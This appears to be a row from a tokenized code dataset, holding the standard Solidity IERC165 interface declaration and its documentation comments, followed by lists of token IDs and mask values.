return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
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1035,
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23301,
10020,
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5796,
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1012,
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3643,
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28855,
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1007,
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4638,
10020,
15464,
21723,
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19204,
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1010,
12927,
22591,
16671,
1010,
102
] | [
1,
1,
1,
1,
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1,
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1,
1,
1,
1,
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1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1
] |
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